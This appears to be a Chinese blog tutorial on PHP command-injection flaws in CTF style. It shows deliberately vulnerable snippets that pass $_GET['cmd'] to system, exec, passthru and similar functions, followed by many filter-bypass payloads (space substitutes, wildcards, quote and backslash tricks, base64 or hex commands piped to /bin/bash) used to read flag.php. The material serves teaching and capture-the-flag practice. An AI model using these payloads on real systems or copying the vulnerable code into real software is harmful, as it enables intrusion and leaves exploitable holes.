命令执行

Chiexf Lv4

0x01 介绍

命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:**system()、exec()、shell_exec()、eval()、passthru()**,代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

0x02 原理

用户输入的数据被当做系统命令执行

0x03 系统命令函数

system

1
system ( string $command [, int &$return_var ] )
  • $command为执行的命令
  • &return_var可选,用来存放命令执行后的状态码
  • system()函数执行有回显,将执行结果输出到页面上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$cmd = $_GET["cmd"];
if(isset($cmd)){
system($cmd);
}
?>

/*

输入:
?cmd = id
输出结果:
uid=1000(www) gid=1000(www) groups=1000(www)

*/

exec

1
exec ( string $command [, array &$output [, int &$return_var ]] )
  • $command为要执行的命令。
  • $output是获得执行命令输出的每一行字符串
  • $return_var用来保存命令执行的状态码(检测成功或失败)
  • exec()函数执行无回显,默认返回最后一行结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$cmd = $_GET["cmd"];
exec($cmd,$array);
print_r($array);
?>

/*

输入:
?cmd = id
输出结果:
Array ( [0] => uid=1000(www) gid=1000(www) groups=1000(www) )

*/

passthru

1
passthru ( string $command [, int &$return_var ] )
  • system函数类似,$command为执行的命令
  • &return_var可选,用来存放命令执行后的状态码
  • passthru函数执行有回显,将执行结果输出到页面上
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$cmd = $_GET["cmd"];
passthru($cmd);
?>

/*

输入:
?cmd = id
输出结果:
uid=1000(www) gid=1000(www) groups=1000(www)

*/

shell_exec

1
shell_exec(string $command)
  • 与反引号**(`)**类似
  • $command为执行的命令
  • shell_exec()函数默认无回显,通过 echo可将执行结果输出到页面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);
echo $output;
?>

/*

输入:
?cmd = id
输出结果:
uid=1000(www) gid=1000(www) groups=1000(www)

*/

反引号

1
`要执行的命令`
  • 在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$cmd = $_GET["cmd"];
echo `$cmd`;
?>

/*

输入:
?cmd = id
输出结果:
uid=1000(www) gid=1000(www) groups=1000(www)

*/

popen

1
popen ( string $command , string $mode )
  • $command为执行的命令
  • $mode指针文件的连接模式,r表示阅读,w表示写入
  • popen()函数不会直接返回执行结果,而是返回一个文件指针。
  • 此指针可以用于fgets()fgetss()fwrite()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$cmd = $_GET["cmd"];
$ben = popen($cmd,'r');
while($s=fgets($ben)){
print_r($s);
}
?>

/*

输入:
?cmd = id
输出结果:
uid=10129325 gid=10129325 groups=10129325

*/

proc_open

1
2
3
4
5
proc_open ( 
string $command ,
array $descriptorspec ,
array &$pipes [, string $cwd [, array $env [, array $other_options ]]]
)
  • $command为执行的命令
  • $descriptorspec定义要创建的进程的输入、输出和错误流的规范
  • $pipes一个引用变量,用于存储与进程通信管道,调用数组内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("content-type:text/html;charset=utf-8");
$cmd = $_GET["cmd"];
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("file","/tmp/error-output.txt","a") //标准输出错误
);

$fp = proc_open($cmd,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>

/*

输入:
?cmd = id
输出结果:
uid=1000(www) gid=1000(www) groups=1000(www)

*/

pcntl.php

1
2
3
<?php 
pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>

0x04 操作系统链接符

  • 使多个命令按顺序执行
  • 前面的命令和命令都会执行,相互之间不影响
1
id;ls;pwd

&

  • 使命令在后台执行,这样就可以同时执行多条命令
  • 无论命令为真或假,都执行
1
id&ls&pwd

&&

  • 前面的命令执行成功则执行后面的命令
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$cmd = $_GET["cmd"];
if(isset($cmd)){
system("ls".$cmd);
}
?>

/*

?cmd=&&id

*/

|

  • 把前面命令的执行结果当成后面命令的参数
  • 如果都为真,则都执行,但只显示最后命令的执行结果

||

  • 类似于if-else语句
  • 若前面的命令执行成功,则后面的命令不执行
  • 若前面的命令执行失败,则后面的命令被执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$cmd = $_GET["cmd"];
$cmd = $cmd." >/dev/null 2>&1";
if(isset($cmd)){
system($cmd);
}
?>

/*

">/dev/null 2>&1" 把正常输出和错误输出全部丢掉

payload:
?cmd=id||

*/

0x05 绕过方式

过滤命令执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_GET['cmd'])){
$c = $_GET['cmd'];
if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
eval($c);
}
else{
echo "你是黑客么?";
}
}

/*

尝试未被过滤的命令函数,如passthru()
payload:
?cmd=passthru('ls');
*/

LD_PRELOAD绕过

空格绕过

示例

1
2
3
4
5
6
7
8
9
10
<?php
header("content-type:text/html;charset=utf-8");
$cmd = $_GET["cmd"];
if(isset($cmd)){
$cmd = preg_replace("# #","",$cmd);
echo "过滤后的命令:".$cmd."</br >";
echo "命令执行结果如下:";
system($cmd);
}
?>

大括号{}

  • 可以将要执行的内容包含在{}内部进行执行
1
?cmd={ls,-l}

$IFS

  • $IFS是linux系统的特殊环境变量,叫做内部字段分隔符
1
?cmd=ls$IFS-l
  • IFS被bash解释器当成变量名,加一个{}就可以固定变量名
1
?cmd=ls${IFS}-l
  • $IFS$9 后的$与{}类似,起隔断作用
  • $9是当前系统shell进程第九个参数持有者,始终为空字符
1
?cmd=ls$IFS$9-l

重定向字符

  • <表示输入重定向
1
2
3
?cmd=cat<flag.php
?cmd=cat<>flag.php
?cmd=ls<>-l

%09(tab)

  • %09是tab键的URL编码值
1
?cmd=ls%09-l

文件名过滤绕过

示例

1
2
3
4
5
6
7
8
9
10
11
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/flag|system|php/i", $cmd)) {
eval($cmd);
}
else{
echo "命令有问题哦,来黑我丫!!!";
}
}

通配符绕过

  • ?在linux中可以代替字母。?仅代表单个字符串,但此单字必须存在
1
?cmd=passthru('cat fl?g.p?p');
  • *在linux中可以进行模糊匹配。*可以代表任何字符串。
1
?cmd=passthru('cat fla*');

单引号、双引号绕过

  • 可以代表空字符
1
2
3
?cmd=passthru('cat fla""g.ph""p');

?cmd=passthru("cat fla''g.ph''p");

反斜杠绕过

  • 去掉特殊字符的功能性,单纯表示为字符串
1
?cmd=passthru('cat fla\g.ph\p');

特殊变量

  • 输出的结果为空
1
2
3
4
5
6
7
8
9
10
echo $1
echo $9
echo $@
echo $*
#$1到$9,$@和$*输出结果都为空

echo $10
#输出 0
echo $11
#输出 1
  • $1到$9
1
?cmd=passthru('cat fla$1g.ph$9p');
  • $@和$*
1
?cmd=passthru('cat fla$@g.ph$@p');

内联执行

  • 自定义字符串,在拼接起来
1
?cmd=passthru('a=f;b=la;c=g;d=.;e=ph;f=p;cat $a$b$c$d$e$f');

利用linux中的环境变量

  • 使用环境变量里的字符执行变量
1
2
3
4
5
6
7
8
9
10
11
12
13
#PATH默认系统环境变量
echo $PATH

#输出
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# ${PATH:x:y}
# x代表环境变量中的第几位,y代表总共几位,第一位从0开始

eg:
echo ${PATH:5:1}
#输出
l
  • 构造payload
1
?cmd=passthru('cat f${PATH:5:1}${PATH:8:1}g.p?p');

文件读取命令绕过

示例

1
2
3
4
5
6
7
8
9
10
11
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
eval($cmd);
}
else{
echo "再来黑我丫!!!";
}
}

tac

  • cat功能相似,但是反向显示,从最后一行往前开始显示
1
?cmd=passthru("tac fl\ag.ph\p");

more

  • 一页一页的显示文档内容
1
?cmd=passthru("more fl\ag.ph\p");

less

  • more类似
1
?cmd=passthru("less fl\ag.ph\p");

tail

  • 默认显示最后10行
1
?cmd=passthru("tail fl\ag.ph\p");

nl

  • 显示的时候顺便输出行号
1
?cmd=passthru("nl fl\ag.ph\p");

od

  • 以二进制的方式读取档案内容
1
?cmd=passthru("od -A d -c fl\ag.ph\p");

xxd

  • 读取二进制文件
  • 需要安装
1
?cmd=passthru("xxd fl\ag.ph\p");

sort

  • 主要用于排序文件
1
2
?cmd=passthru("s?rt fl\ag.ph\p");
?cmd=passthru("/usr/bin/s?rt fl\ag.ph\p");

uniq

  • 报告或删除文件中重复的行
1
?cmd=passthru("uniq fl\ag.ph\p");

file -f

  • -f 查看文件中的文件名的文件类型,会显示报错的内容

  • 报错出具体内容

1
?cmd=passthru("file -f fl\ag.ph\p");

grep

  • 在文本中查找指定的字符串
1
2
3
?cmd=passthru("grep fla fl\ag.ph\p");

#从 fl\ag.ph\p 文本文件中查找包含 fla 字符串的行

编码绕过

示例

1
2
3
4
5
6
7
8
9
10
11
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/flag|php|cat|sort|shell/i", $cmd)) {
eval($cmd);
}
else{
echo "再来黑我丫!!!";
}
}

base64编码绕过

  • python编码
1
2
3
4
5
6
import base64
s = b'payload'
e64 = base64.b64encode(s)
print(e64)

#参数S的类型必须是字节包(bytes)
  • 绕过过程
1
2
payload编码 ---> 目标服务器 ---> 执行命令
绕过过滤 解码读取命令
  • payload
1
2
3
4
5
# cat flag.php ---> Y2F0IGZsYWcucGhw
# base -d ---> base64解码
# /bin/bash ---> 执行命令

?cmd=system('echo "Y2F0IGZsYWcucGhw"|base64 -d|/bin/bash');

base32编码绕过

  • base64编码绕过类似

  • python编码

1
2
3
4
5
6
import base64
s = b'payload'
e32 = base64.b32encode(s)
print(e32)

#参数S的类型必须是字节包(bytes)
  • payload
1
2
3
4
5
# cat flag.php ---> MNQXIIDGNRQWOLTQNBYA====
# base -d ---> base64解码
# /bin/bash ---> 执行命令

?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');

HEX编码

  • 16进制

  • python编码

1
2
3
4
5
6
import binascii
s = b'payload'
h = binascii.b2a_hex(s)
print(h)

#参数s的类型必须是字节包(bytes)
  • payload
1
2
3
4
5
6
# cat flag.php ---> 63617420666c61672e706870
# xxd ---> 二进制显示和处理文件工具
# -r -p ---> 将纯十六进制转储的输出打印为ASCII格式
# /bin/bash ---> 执行命令

?cmd=system('echo "63617420666c61672e706870"|xxd -r -p|/bin/bash');

shellcode

  • 16进制机器码,本质上是一段汇编指令
  • payload
1
2
3
4
# cat flag.php ---> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70
# printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70" ---> 输出为cat flag.php

?cmd=system('printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|/bin/bash');